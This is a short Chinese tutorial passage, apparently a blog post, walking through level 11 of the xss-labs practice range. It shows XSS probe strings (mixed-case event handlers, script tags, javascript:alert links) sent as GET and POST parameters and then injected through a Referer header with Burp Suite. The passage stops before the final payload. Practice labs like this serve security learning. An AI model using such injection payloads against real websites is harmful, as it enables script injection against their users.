xss-labs靶场实战后续关卡通关教程
xss-labs靶场实战后续关卡通关教程
level 1-10
这是我前面所写xss-labs靶场1-10关通关文章level 1-10
level 11
< input >标签有四个值,都做了隐藏处理,不难看出,第四个名为t_ref的标签是http头referer的参数(就是由啥地址转跳到这里的,http头的referer会记录有),我们先做个简单的测试来验证一下前面三个标签名,GET与POST传参都试一下看看
GET传参:
?t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
没赋值成功,再试试看POST传参:
t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>
POST传参也不得,那应该就referer头了,用burpsuite抓包一下,添加http头
Referer: " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
再查看一下源码